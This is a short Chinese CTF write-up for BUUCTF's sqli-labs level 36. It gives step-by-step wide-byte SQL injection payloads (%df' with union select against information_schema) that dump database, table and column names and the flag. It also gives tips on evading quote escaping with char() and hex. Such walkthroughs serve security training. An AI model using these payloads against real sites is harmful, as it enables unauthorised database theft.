目录
开启buuctf靶机
找到第36关
开始宽字节注入
(1)确认有几个字段:?id=1 %df' order by 3%23
(2)爆库名:(ctftraining,information_schema,mysql,performance_schema,security,test)
?id=1 %df' and 1=2 union select 1,2,(select group_concat(schema_name) from information_schema.schemata) --+
(3)爆表名:flag,news,users
?id=1 %df' and 1=2 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=char(99,116,102,116,114,97,105,110,105,110,103)) --+
(4)爆数据:flag
?id=1 %df' and 1=2 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema=0x637466747261696E696E67 and table_name=0x666C6167) --+
(5)爆flag:flag{330424d1-f551-4cc2-96ed-8e37018fe6c7}
?id=1 %df' and 1=2 union select 1,2,(select group_concat(flag) from ctftraining.flag)--+
注意(1):
爆表名的时候这里有个小坑,就是库名这里不能有单双引号,否则会被转义
注意(2):
先把刚才爆出来的库名字符转换成ASCII码,然后这里使用char()函数转换成可打印字符
还可以把库名使用hex转字符串的方法,0x637466747261696E696E67
这里有几种注入方式:char()、二进制、十六进制、传参